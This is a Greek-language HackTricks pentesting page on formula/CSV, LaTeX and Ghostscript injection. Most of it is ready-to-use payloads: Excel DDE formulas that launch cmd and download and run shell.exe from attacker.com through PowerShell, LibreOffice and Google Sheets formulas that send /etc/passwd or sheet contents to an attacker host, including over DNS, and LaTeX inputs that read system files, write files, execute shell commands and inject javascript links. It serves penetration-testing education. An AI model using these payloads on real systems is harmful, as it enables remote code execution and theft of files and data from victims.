hacktricks/pentesting-web/formula-csv-doc-latex-ghostscript-injection.md

17 KiB
Raw Blame History

Formula/CSV/Doc/LaTeX/GhostScript Injection

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}


Formula Injection

Info

Εάν η είσοδός σας αντανακλάται μέσα σε αρχεία CSV (ή οποιοδήποτε άλλο αρχείο που πιθανώς θα ανοίξει με το Excel), ίσως μπορείτε να βάλετε τύπους του Excel που θα εκτελούνται όταν ο χρήστης ανοίγει το αρχείο ή όταν ο χρήστης κλικάρει σε κάποιο σύνδεσμο μέσα στο φύλλο excel.

{% hint style="danger" %} Σήμερα το Excel θα ειδοποιήσει (πολλές φορές) τον χρήστη όταν κάτι φορτώνεται από έξω από το Excel προκειμένου να τον προστατεύσει από κακόβουλες ενέργειες. Επομένως, πρέπει να καταβληθεί ειδική προσπάθεια στο Social Engineering για το τελικό payload. {% endhint %}

Wordlist

DDE ("cmd";"/C calc";"!A0")A0
@SUM(1+9)*cmd|' /C calc'!A0
=10+20+cmd|' /C calc'!A0
=cmd|' /C notepad'!'A1'
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1

Το παρακάτω παράδειγμα είναι πολύ χρήσιμο για την εξαγωγή περιεχομένου από το τελικό φύλλο excel και για την εκτέλεση αιτημάτων σε αυθαίρετες τοποθεσίες. Απαιτεί όμως από τον χρήστη να κάνει κλικ στον σύνδεσμο (και να αποδεχτεί τις προειδοποιήσεις).

Το παρακάτω παράδειγμα έχει ληφθεί από https://payatu.com/csv-injection-basic-to-exploit

Φανταστείτε μια παραβίαση ασφάλειας σε ένα σύστημα Διαχείρισης Φοιτητικών Αρχείων που εκμεταλλεύεται μέσω μιας επίθεσης CSV injection. Η κύρια πρόθεση του επιτιθέμενου είναι να παραβιάσει το σύστημα που χρησιμοποιούν οι δάσκαλοι για να διαχειρίζονται τις λεπτομέρειες των φοιτητών. Η μέθοδος περιλαμβάνει τον επιτιθέμενο να εισάγει ένα κακόβουλο payload στην εφαρμογή, συγκεκριμένα εισάγοντας επιβλαβείς τύπους σε πεδία που προορίζονται για λεπτομέρειες φοιτητών. Η επίθεση εξελίσσεται ως εξής:

  1. Εισαγωγή Κακόβουλου Payload:
  • Ο επιτιθέμενος υποβάλλει μια φόρμα λεπτομερειών φοιτητή αλλά περιλαμβάνει έναν τύπο που χρησιμοποιείται συνήθως σε υπολογιστικά φύλλα (π.χ., =HYPERLINK("<malicious_link>","Click here")).
  • Αυτός ο τύπος έχει σχεδιαστεί για να δημιουργεί έναν υπερσύνδεσμο, αλλά δείχνει σε έναν κακόβουλο διακομιστή που ελέγχεται από τον επιτιθέμενο.
  1. Εξαγωγή Παραβιασμένων Δεδομένων:
  • Οι δάσκαλοι, ανυποψίαστοι για την παραβίαση, χρησιμοποιούν τη λειτουργικότητα της εφαρμογής για να εξάγουν τα δεδομένα σε ένα αρχείο CSV.
  • Το αρχείο CSV, όταν ανοιχτεί, περιέχει ακόμα το κακόβουλο payload. Αυτό το payload εμφανίζεται ως κλικαρίσιμος υπερσύνδεσμος στο υπολογιστικό φύλλο.
  1. Ενεργοποίηση της Επίθεσης:
  • Ένας δάσκαλος κάνει κλικ στον υπερσύνδεσμο, πιστεύοντας ότι είναι ένα νόμιμο μέρος των λεπτομερειών του φοιτητή.
  • Με το κλικ, ευαίσθητα δεδομένα (πιθανώς περιλαμβάνοντας λεπτομέρειες από το υπολογιστικό φύλλο ή τον υπολογιστή του δασκάλου) μεταδίδονται στον διακομιστή του επιτιθέμενου.
  1. Καταγραφή των Δεδομένων:
  • Ο διακομιστής του επιτιθέμενου λαμβάνει και καταγράφει τα ευαίσθητα δεδομένα που αποστέλλονται από τον υπολογιστή του δασκάλου.
  • Ο επιτιθέμενος μπορεί στη συνέχεια να χρησιμοποιήσει αυτά τα δεδομένα για διάφορους κακόβουλους σκοπούς, παραβιάζοντας περαιτέρω την ιδιωτικότητα και την ασφάλεια των φοιτητών και του ιδρύματος.

RCE

Ελέγξτε την αρχική ανάρτηση για περισσότερες λεπτομέρειες.

Σε συγκεκριμένες ρυθμίσεις ή παλαιότερες εκδόσεις του Excel, μια δυνατότητα που ονομάζεται Dynamic Data Exchange (DDE) μπορεί να εκμεταλλευτεί για την εκτέλεση αυθαίρετων εντολών. Για να αξιοποιηθεί αυτό, οι παρακάτω ρυθμίσεις πρέπει να είναι ενεργοποιημένες:

  • Μεταβείτε στο Αρχείο → Επιλογές → Κέντρο εμπιστοσύνης → Ρυθμίσεις Κέντρου εμπιστοσύνης → Εξωτερικό Περιεχόμενο, και ενεργοποιήστε την Εκκίνηση Διακομιστή Dynamic Data Exchange.

Όταν ένα υπολογιστικό φύλλο με το κακόβουλο payload ανοίγει (και αν ο χρήστης αποδεχτεί τις προειδοποιήσεις), το payload εκτελείται. Για παράδειγμα, για να εκκινήσει την εφαρμογή υπολογιστή, το payload θα ήταν:

=cmd|' /C calc'!xxx

Επιπλέον εντολές μπορούν επίσης να εκτελούνται, όπως η λήψη και εκτέλεση ενός αρχείου χρησιμοποιώντας το PowerShell:

=cmd|' /C powershell Invoke-WebRequest "http://www.attacker.com/shell.exe" -OutFile "$env:Temp\shell.exe"; Start-Process "$env:Temp\shell.exe"'!A1

Local File Inclusion (LFI) in LibreOffice Calc

Το LibreOffice Calc μπορεί να χρησιμοποιηθεί για την ανάγνωση τοπικών αρχείων και την εξαγωγή δεδομένων. Ακολουθούν μερικές μέθοδοι:

  • Ανάγνωση της πρώτης γραμμής από το τοπικό αρχείο /etc/passwd: ='file:///etc/passwd'#$passwd.A1
  • Εξαγωγή των αναγνωσθέντων δεδομένων σε έναν διακομιστή ελεγχόμενο από τον επιτιθέμενο: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))
  • Εξαγωγή περισσότερων από μία γραμμές: =WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))
  • Εξαγωγή DNS (αποστολή αναγνωσθέντων δεδομένων ως DNS ερωτήματα σε έναν διακομιστή DNS ελεγχόμενο από τον επιτιθέμενο): =WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))

Google Sheets for Out-of-Band (OOB) Data Exfiltration

Το Google Sheets προσφέρει συναρτήσεις που μπορούν να εκμεταλλευτούν για την εξαγωγή δεδομένων OOB:

  • CONCATENATE: Συνενώνει συμβολοσειρές - =CONCATENATE(A2:E2)
  • IMPORTXML: Εισάγει δεδομένα από δομημένους τύπους δεδομένων - =IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")
  • IMPORTFEED: Εισάγει RSS ή ATOM ροές - =IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))
  • IMPORTHTML: Εισάγει δεδομένα από HTML πίνακες ή λίστες - =IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)
  • IMPORTRANGE: Εισάγει μια περιοχή κελιών από άλλο υπολογιστικό φύλλο - =IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")
  • IMAGE: Εισάγει μια εικόνα σε ένα κελί - =IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")

LaTeX Injection

Συνήθως οι διακομιστές που θα βρείτε στο διαδίκτυο που μετατρέπουν κώδικα LaTeX σε PDF χρησιμοποιούν pdflatex.
Αυτό το πρόγραμμα χρησιμοποιεί 3 κύρια χαρακτηριστικά για να (απαγορεύσει) ή να επιτρέψει την εκτέλεση εντολών:

  • --no-shell-escape: Απενεργοποιεί τη δομή \write18{command}, ακόμη και αν είναι ενεργοποιημένη στο αρχείο texmf.cnf.
  • --shell-restricted: Ίδιο με το --shell-escape, αλλά περιορισμένο σε ένα 'ασφαλές' σύνολο προκαθορισμένων **εντολών (**Στο Ubuntu 16.04 η λίστα είναι στο /usr/share/texmf/web2c/texmf.cnf).
  • --shell-escape: Ενεργοποιεί τη δομή \write18{command}. Η εντολή μπορεί να είναι οποιαδήποτε εντολή shell. Αυτή η δομή κανονικά απαγορεύεται για λόγους ασφαλείας.

Ωστόσο, υπάρχουν άλλοι τρόποι για να εκτελέσετε εντολές, οπότε για να αποφύγετε το RCE είναι πολύ σημαντικό να χρησιμοποιήσετε --shell-restricted.

Read file

Μπορεί να χρειαστεί να προσαρμόσετε την ένεση με περιτυλίγματα όπως [ ή $.

\input{/etc/passwd}
\include{password} # load .tex file
\lstinputlisting{/usr/share/texmf/web2c/texmf.cnf}
\usepackage{verbatim}
\verbatiminput{/etc/passwd}

Διαβάστε αρχείο με μία γραμμή

\newread\file
\openin\file=/etc/issue
\read\file to\line
\text{\line}
\closein\file

Διαβάστε αρχείο πολλαπλών γραμμών

\newread\file
\openin\file=/etc/passwd
\loop\unless\ifeof\file
\read\file to\fileline
\text{\fileline}
\repeat
\closein\file

Γράψτε αρχείο

\newwrite\outfile
\openout\outfile=cmd.tex
\write\outfile{Hello-world}
\closeout\outfile

Εκτέλεση εντολών

Η είσοδος της εντολής θα ανακατευθυνθεί στο stdin, χρησιμοποιήστε ένα προσωρινό αρχείο για να την αποκτήσετε.

\immediate\write18{env > output}
\input{output}

\input{|"/bin/hostname"}
\input{|"extractbb /etc/passwd > /tmp/b.tex"}

# allowed mpost command RCE
\documentclass{article}\begin{document}
\immediate\write18{mpost -ini "-tex=bash -c (id;uname${IFS}-sm)>/tmp/pwn" "x.mp"}
\end{document}

# If mpost is not allowed there are other commands you might be able to execute
## Just get the version
\input{|"bibtex8 --version > /tmp/b.tex"}
## Search the file pdfetex.ini
\input{|"kpsewhich pdfetex.ini > /tmp/b.tex"}
## Get env var value
\input{|"kpsewhich -expand-var=$HOSTNAME > /tmp/b.tex"}
## Get the value of shell_escape_commands without needing to read pdfetex.ini
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}

Αν λάβετε οποιοδήποτε σφάλμα LaTex, εξετάστε το ενδεχόμενο να χρησιμοποιήσετε base64 για να αποκτήσετε το αποτέλεσμα χωρίς κακά χαρακτήρες.

\immediate\write18{env | base64 > test.tex}
\input{text.tex}
\input|ls|base4
\input{|"/bin/hostname"}

Cross Site Scripting

Από @EdOverflow

\url{javascript:alert(1)}
\href{javascript:alert(1)}{placeholder}

Ghostscript Injection

Έλεγχος https://blog.redteam-pentesting.de/2023/ghostscript-overview/

Αναφορές

Try Hard Security Group

{% embed url="https://discord.gg/tryhardsecurity" %}

{% hint style="success" %} Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Υποστήριξη HackTricks
{% endhint %}